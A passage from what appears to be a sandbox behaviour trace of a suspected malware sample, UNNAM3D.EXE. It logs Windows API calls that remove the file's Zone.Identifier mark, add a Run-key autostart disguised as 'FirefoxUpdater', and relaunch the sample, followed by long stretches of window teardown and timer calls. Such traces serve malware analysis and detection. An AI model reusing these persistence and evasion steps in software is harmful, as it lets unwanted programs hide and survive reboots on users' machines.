lpMem=0x591b78 | out: hHeap=0x510000) returned 1 [0034.135] DeleteFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE:Zone.Identifier" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe:zone.identifier")) returned 0 [0034.138] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3edeec, nSize=0x64 | out: lpBuffer="") returned 0x0 [0034.139] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x3ee870 | out: phkResult=0x3ee870*=0x2bc) returned 0x0 [0034.140] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3edeec, nSize=0x64 | out: lpBuffer="") returned 0x0 [0034.141] RegQueryValueExW (in: hKey=0x2bc, lpValueName="FirefoxUpdater", lpReserved=0x0, lpType=0x3ee870, lpData=0x0, lpcbData=0x3ee86c*=0x0 | out: lpType=0x3ee870*=0x0, lpData=0x0, lpcbData=0x3ee86c*=0x0) returned 0x2 [0034.141] RegSetValueExW (in: hKey=0x2bc, lpValueName="FirefoxUpdater", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", cbData=0x62 | out: lpData="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE") returned 0x0 [0034.156] ShellExecuteExW (in: pExecInfo=0x2f8d470*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2f8d470*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x3e0)) returned 1 [0037.266] LocalFree (hMem=0x5b0a48) returned 0x0 [0037.277] InvalidateRect (hWnd=0x60024, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x601ae, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x301b2, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x301b4, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x301b6, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x201ba, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x201b8, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x201be, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x201ee, lpRect=0x0, bErase=1) returned 1 [0037.277] InvalidateRect (hWnd=0x201ec, lpRect=0x0, bErase=1) returned 1 [0037.278] InvalidateRect (hWnd=0x201c0, lpRect=0x0, bErase=1) returned 1 [0037.278] GetWindowThreadProcessId (in: hWnd=0x80044, lpdwProcessId=0x3eebc8 | out: lpdwProcessId=0x3eebc8) returned 0x8e0 [0037.278] GetCurrentThreadId () returned 0x8e0 [0037.278] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc13c [0037.278] PostMessageW (hWnd=0x80044, Msg=0xc13c, wParam=0x0, lParam=0x0) returned 1 [0037.279] GetWindowTextLengthW (hWnd=0x80044) returned 7 [0037.279] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0037.279] GetSystemMetrics (nIndex=42) returned 0 [0037.279] GetWindowTextW (in: hWnd=0x80044, lpString=0x3eeb44, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0037.279] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xd, wParam=0x8, lParam=0x3eeb44) returned 0x7 [0037.280] GdipImageGetFrameDimensionsCount (image=0x5adfcf0, count=0x3eeb2c) returned 0x0 [0037.280] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x5e88b8 [0037.280] GdipImageGetFrameDimensionsList (image=0x5adfcf0, dimensionIDs=0x5e88b8*(Data1=0x6e0071, Data2=0x6b, Data3=0x6e, Data4=([0]=0x6f, [1]=0x0, [2]=0x77, [3]=0x0, [4]=0x6e, [5]=0x0, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0 [0037.281] LocalFree (hMem=0x5e88b8) returned 0x0 [0037.282] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x46, wParam=0x0, lParam=0x3eef5c) returned 0x0 [0037.282] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x46, wParam=0x0, lParam=0x3eef5c) returned 0x0 [0037.283] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.283] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eed24 | out: lpwndpl=0x3eed24) returned 1 [0037.283] GetClientRect (in: hWnd=0x80044, lpRect=0x3eecd0 | out: lpRect=0x3eecd0) returned 1 [0037.283] GetWindowTextLengthW (hWnd=0x80044) returned 7 [0037.283] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0037.283] GetSystemMetrics (nIndex=42) returned 0 [0037.283] GetWindowTextW (in: hWnd=0x80044, lpString=0x3eeb98, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0037.283] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0xd, wParam=0x8, lParam=0x3eeb98) returned 0x7 [0037.283] GetClientRect (in: hWnd=0x80044, lpRect=0x3eebd8 | out: lpRect=0x3eebd8) returned 1 [0037.285] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x126bcee, dwData=0x0) returned 1 [0037.286] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ee840 | out: lpmi=0x3ee840) returned 1 [0037.286] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x19010713 [0037.287] GetDeviceCaps (hdc=0x19010713, index=12) returned 32 [0037.287] GetDeviceCaps (hdc=0x19010713, index=14) returned 1 [0037.287] DeleteDC (hdc=0x19010713) returned 1 [0037.287] GetCurrentObject (hdc=0x601081d, type=0x1) returned 0x1b00017 [0037.287] GetCurrentObject (hdc=0x601081d, type=0x2) returned 0x1900010 [0037.287] GetCurrentObject (hdc=0x601081d, type=0x7) returned 0x1050032 [0037.287] GetCurrentObject (hdc=0x601081d, type=0x6) returned 0x18a002e [0037.287] SaveDC (hdc=0x601081d) returned 1 [0037.287] GetNearestColor (hdc=0x601081d, color=0x0) returned 0x0 [0037.288] CreateSolidBrush (color=0x0) returned 0x65100162 [0037.288] FillRect (hDC=0x601081d, lprc=0x3eea78, hbr=0x65100162) returned 1 [0037.289] DeleteObject (ho=0x65100162) returned 1 [0037.289] RestoreDC (hdc=0x601081d, nSavedDC=-1) returned 1 [0037.292] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.293] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x14, wParam=0x601081d, lParam=0x0) returned 0x1 [0037.293] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.293] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.293] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.293] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.294] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.294] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.294] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.294] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.294] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.295] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0037.295] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eed0c | out: lpwndpl=0x3eed0c) returned 1 [0037.295] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x47, wParam=0x0, lParam=0x3eef5c) returned 0x0 [0037.295] GetClientRect (in: hWnd=0x80044, lpRect=0x3eecbc | out: lpRect=0x3eecbc) returned 1 [0037.295] GetWindowRect (in: hWnd=0x80044, lpRect=0x3eecbc | out: lpRect=0x3eecbc) returned 1 [0037.295] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x5, wParam=0x0, lParam=0x1ae01d4) returned 0x0 [0037.295] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x3, wParam=0x0, lParam=0xd701e6) returned 0x0 [0037.295] GetClientRect (in: hWnd=0x80044, lpRect=0x3eece8 | out: lpRect=0x3eece8) returned 1 [0037.295] GetWindowRect (in: hWnd=0x80044, lpRect=0x3eece8 | out: lpRect=0x3eece8) returned 1 [0037.295] GetFocus () returned 0x80044 [0037.295] SetFocus (hWnd=0x60024) returned 0x80044 [0037.296] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x8, wParam=0x60024, lParam=0x0) returned 0x0 [0037.296] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0037.296] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0037.296] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0037.296] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x7, wParam=0x80044, lParam=0x0) returned 0x0 [0037.296] SendMessageW (hWnd=0x60024, Msg=0x2111, wParam=0x1000024, lParam=0x60024) returned 0x0 [0037.297] GetFocus () returned 0x60024 [0037.297] PeekMessageW (in: lpMsg=0x3ef04c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ef04c) returned 1 [0037.297] GetMessageA (in: lpMsg=0x3ef04c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ef04c) returned 0 [0037.308] GetProcessHeap () returned 0x510000 [0037.308] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ef840 | out: hHeap=0x510000) returned 1 [0037.308] GetProcessHeap () returned 0x510000 [0037.308] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ef008 | out: hHeap=0x510000) returned 1 [0037.309] GetWindowThreadProcessId (in: hWnd=0x301bc, lpdwProcessId=0x3eeef8 | out: lpdwProcessId=0x3eeef8) returned 0x8e0 [0037.309] GetCurrentThreadId () returned 0x8e0 [0037.309] IsWindow (hWnd=0x301bc) returned 1 [0037.309] KillTimer (hWnd=0x301bc, uIDEvent=0x1) returned 1 [0037.309] DestroyWindow (hWnd=0x301bc) returned 1 [0037.309] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0037.309] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.309] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.317] GetWindowLongW (hWnd=0x80044, nIndex=-20) returned 65544 [0037.317] DestroyWindow (hWnd=0x80044) returned 1 [0037.317] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0037.317] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x46, wParam=0x0, lParam=0x3eede8) returned 0x0 [0037.324] GetWindowPlacement (in: hWnd=0x80044, lpwndpl=0x3eeb98 | out: lpwndpl=0x3eeb98) returned 1 [0037.324] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x47, wParam=0x0, lParam=0x3eede8) returned 0x0 [0037.324] GetClientRect (in: hWnd=0x80044, lpRect=0x3eeb48 | out: lpRect=0x3eeb48) returned 1 [0037.324] GetWindowRect (in: hWnd=0x80044, lpRect=0x3eeb48 | out: lpRect=0x3eeb48) returned 1 [0037.327] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0037.327] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x1c, wParam=0x0, lParam=0x260) returned 0x0 [0037.327] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x1c, wParam=0x0, lParam=0x260) returned 0x0 [0037.327] NtdllDefWindowProc_W () returned 0x0 [0037.327] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0037.327] SendMessageW (hWnd=0x60024, Msg=0x2111, wParam=0x2000024, lParam=0x60024) returned 0x0 [0037.327] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0037.328] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0037.328] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0037.331] PostThreadMessageW (idThread=0x8e0, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0037.333] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.334] SendMessageW (hWnd=0x60024, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0037.334] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0037.334] SendMessageW (hWnd=0x60024, Msg=0xb0, wParam=0x2f3fba0, lParam=0x3eeb3c) returned 0x0 [0037.334] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0xb0, wParam=0x2f3fba0, lParam=0x3eeb3c) returned 0x0 [0037.335] SendMessageW (hWnd=0x60024, Msg=0x44a, wParam=0x2, lParam=0x3eea9c) returned 0xac [0037.335] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x44a, wParam=0x2, lParam=0x3eea9c) returned 0xac [0037.346] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.346] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74df20fa, hWnd=0x60024, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.347] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x601ae, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.348] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301b2, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.348] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b4, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.348] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x301b6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.348] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ba, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.348] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201b8, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.349] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201be, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.349] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ee, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.349] CallWindowProcW (lpPrevWndFunc=0x74e8b8c9, hWnd=0x201ec, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.349] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201c0, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.349] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x80044, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.349] DestroyWindow (hWnd=0x6006c) returned 1 [0037.349] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0037.350] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0037.350] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x6006c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.355] GetCurrentThreadId () returned 0x8e0 [0037.359] EnumThreadWindows (dwThreadId=0x8e0, lpfn=0x126bd3e, lParam=0x0) returned 1 [0037.359] IsWindowVisible (hWnd=0x401aa) returned 0 [0037.359] IsWindowVisible (hWnd=0x50064) returned 0 [0037.359] IsWindowVisible (hWnd=0x801a8) returned 0 [0037.359] GetCurrentThreadId () returned 0x8e0 [0037.359] GetCurrentThreadId () returned 0x8e0 [0037.359] EnumThreadWindows (dwThreadId=0x8e0, lpfn=0x126bd66, lParam=0x0) returned 1 [0037.360] IsWindowVisible (hWnd=0x401aa) returned 0 [0037.360] IsWindowVisible (hWnd=0x50064) returned 0 [0037.360] IsWindowVisible (hWnd=0x801a8) returned 0 [0037.361] OleUninitialize () [0037.361] CloseHandle (hObject=0x25c) returned 1 [0037.361] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14110002) returned 1 [0037.361] CoGetContextToken (in: pToken=0x3efa38 | out: pToken=0x3efa38) returned 0x0 [0037.361] CObjectContext::QueryInterface () returned 0x0 [0037.361] CObjectContext::GetCurrentThreadType () returned 0x0 [0037.361] Release () returned 0x0 [0037.362] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x526de0*=0xa8, lpdwindex=0x3ef8dc | out: lpdwindex=0x3ef8dc) returned 0x0 [0038.409] GetCurrentThreadId () returned 0x8e0 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575af8) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575ac8) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x5765e8) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575fa0) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x565f50) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575b10) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575ae0) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575ab0) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575a98) returned 1 [0038.411] GetProcessHeap () returned 0x510000 [0038.411] RtlFreeHeap (HeapHandle=0x510000, Flags=0x0, BaseAddress=0x575a80) returned 1 Thread: id = 2 os_tid = 0x8f0 Thread: id = 3 os_tid = 0x8fc [0017.436] CoGetContextToken (in: pToken=0xf7fb0c | out: pToken=0xf7fb0c) returned 0x800401f0 [0017.436] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0023.132] CloseHandle (hObject=0x1f0) returned 1 [0023.132] CloseHandle (hObject=0x234) returned 1 [0037.395] SetWindowLongW (hWnd=0x201ac, nIndex=-4, dwNewLong=2011243997) returned 19269942 [0037.396] SetClassLongW (hWnd=0x201ac, nIndex=-24, dwNewLong=2011243997) returned 0x126090e [0037.396] PostMessageW (hWnd=0x201ac, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0037.396] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0037.396] UnregisterClassW (lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", hInstance=0x1360000) returned 1 [0037.397] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0037.397] UnregisterClassW (lpClassName="WindowsForms10.RichEdit20W.app.0.141b42a_r14_ad1", hInstance=0x1360000) returned 1 [0037.397] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0037.397] UnregisterClassW (lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", hInstance=0x1360000) returned 1 [0037.397] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0037.397] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", hInstance=0x1360000) returned 0 [0037.397] EtwEventUnregister () returned 0x0 [0037.398] IsWindow (hWnd=0x401aa) returned 1 [0037.399] GetModuleHandleW (lpModuleName="user32.dll") returned 0x76d60000 [0037.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0xf7f8ac, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW>r\x93\x9aÞ\x07\x94Âdt(û÷", lpUsedDefaultChar=0x0) returned 14 [0037.400] GetProcAddress (hModule=0x76d60000, lpProcName="DefWindowProcW") returned 0x77e125dd [0037.400] SetWindowLongW (hWnd=0x401aa, nIndex=-4, dwNewLong=2011243997) returned 19270062 [0037.400] SetClassLongW (hWnd=0x401aa, nIndex=-24, dwNewLong=2011243997) returned 0x12609ae [0037.400] IsWindow (hWnd=0x401aa) returned 1 [0037.400] DestroyWindow (hWnd=0x401aa) returned 0 [0037.400] PostMessageW (hWnd=0x401aa, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0037.400] SetConsoleCtrlHandler (HandlerRoutine=0x1260986, Add=0) returned 1 [0037.402] DestroyCursor (hCursor=0x201b1) returned 1 [0037.403] DeleteObject (ho=0xe0a07eb) returned 1 [0037.403] DeleteObject (ho=0x60a0835) returned 1 [0037.403] DeleteObject (ho=0x3a0a0833) returned 1 [0037.403] DeleteObject (ho=0x3e0a017a) returned 1 [0037.403] DeleteDC (hdc=0x15010267) returned 1 [0037.404] RestoreDC (hdc=0x0, nSavedDC=-1) returned 0 [0037.405] DeleteObject (ho=0x90a0285) returned 1 [0037.405] GdipDeleteFont (font=0x5b89b90) returned 0x0 [0037.405] GdipDeleteFont (font=0x5ae0058) returned 0x0 [0037.405] GdipDisposeImage (image=0x5adfcf0) returned 0x0 [0037.408] GdipDeleteFont (font=0x5a9e840) returned 0x0 [0037.408] GdipDeleteFont (font=0x5a9e818) returned 0x0 [0037.408] GdipDeleteFont (font=0x5a9e7f0) returned 0x0 [0037.408] GdipDeleteFont (font=0x5a9e7c8) returned 0x0 [0037.409] GdipDeleteFont (font=0x5adf030) returned 0x0 [0037.409] GdipDeleteFont (font=0x55d2230) returned 0x0 [0037.409] GdipDeleteFont (font=0x5b32940) returned 0x0 [0037.412] CloseHandle (hObject=0x3e0) returned 1 [0037.412] CloseHandle (hObject=0x378) returned 1 [0037.412] RegCloseKey (hKey=0x80000004) returned 0x0 [0037.412] RegCloseKey (hKey=0x2bc) returned 0x0 [0037.412] UnmapViewOfFile (lpBaseAddress=0xca0000) returned 1 [0037.413] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 4 os_tid = 0x914 Thread: id = 5 os_tid = 0x904 Thread: id = 6 os_tid = 0x8d8 [0023.133] SetEvent (hEvent=0x250) returned 1 [0023.133] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0023.133] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.133] GetTickCount () returned 0xa60012 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 